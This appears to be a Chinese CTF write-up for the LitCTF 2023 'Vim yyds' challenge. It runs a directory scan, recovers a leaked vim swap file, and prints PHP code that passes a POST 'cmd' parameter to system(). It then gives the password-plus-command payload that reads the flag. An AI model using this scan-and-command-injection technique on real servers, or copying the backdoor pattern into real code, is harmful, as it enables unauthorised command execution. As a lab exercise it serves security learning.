[LitCTF 2023]Vim yyds

[LitCTF 2023]Vim yyds wp

题目页面如下:

搜索一番,没有发现任何信息。题目描述中说到了源码泄露,那么先进行目录扫描。

dirsearch 目录扫描

命令:

复制代码
dirsearch -u "http://node4.anna.nssctf.cn:28588/"

返回结果:

在结果中发现一个 .index.php.swp 文件。

直接访问该文件将其下载下来。

关于 .swp 文件

.swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留。

使用 vim 编辑器恢复 .swp 交换文件

可以参考:VIM学习笔记 交换文件(swap)

自动检索当前目录下的交换文件:
复制代码
vim -r

因为该文件中的信息显示原文件是在 /d/CTF/LitCTF/vim/index.php 目录下,为了进行后面的操作,我们先创建一个 /d/CTF/LitCTF/vim/index.php 目录。(或许也有其他的方法)

恢复交换文件
复制代码
vim -r index.php.swp

按照提示操作后,index.php.swp 文件的内容会被恢复到 /d/CTF/LitCTF/vim/index.php 文件中

这里仅展示 index.php.swp 文件中的 PHP 代码部分:

复制代码
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
    echo "<p>Oh You got my password!</p>";
    eval(system($_POST['cmd']));
}
?>

payload

很简单,只需要 POST 传参 password 等于字符串 "Give_Me_Your_Flag" base64 加密后的值即可。

复制代码
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

拿到 flag :

相关推荐
oi..18 小时前
Flag入门—修改数据包拿到答案
笔记·测试工具·安全·网络安全
unable code19 小时前
[网鼎杯 2020 玄武组]SSRFMe
网络安全·web·ctf·1024程序员节
DevilSeagull19 小时前
Linux Vim 文本编辑器基础指南
linux·运维·vim
谁把我灯关了19 小时前
第十九届全国大学生信息安全竞赛半决赛 Web 题 easy_time 详细题解:Cookie 伪造 + Zip Slip + SSRF 拿 Flag
网络安全·ctf·wp·awdp·长城杯·第十九届全国大学生信息安全竞赛·第三届“长城杯”网数智安全大赛
一只鼠标猴19 小时前
甲方安全基线:配置规范与自动化核查落地指南
网络安全·安全架构·安全基线·基线检查
ShineWinsu19 小时前
对于Linux:基础开发工具(vim、gcc/g++)的介绍
linux·运维·服务器·c++·面试·编辑器·vim
半路_出家ren20 小时前
Nginx基础学习
运维·网络·网络协议·学习·nginx·网络安全
还是做不到嘛\.20 小时前
蚁剑安装及简单使用教程
web安全
小陈工20 小时前
2026年3月25日技术资讯洞察:开源芯片革命、Postgres文件系统与AI Agent安全新范式
开发语言·数据库·人工智能·python·安全·web安全·开源
网安情报局21 小时前
从防火墙到AI自免疫:网络安全防御体系十年范式转移与未来架构
人工智能·web安全·架构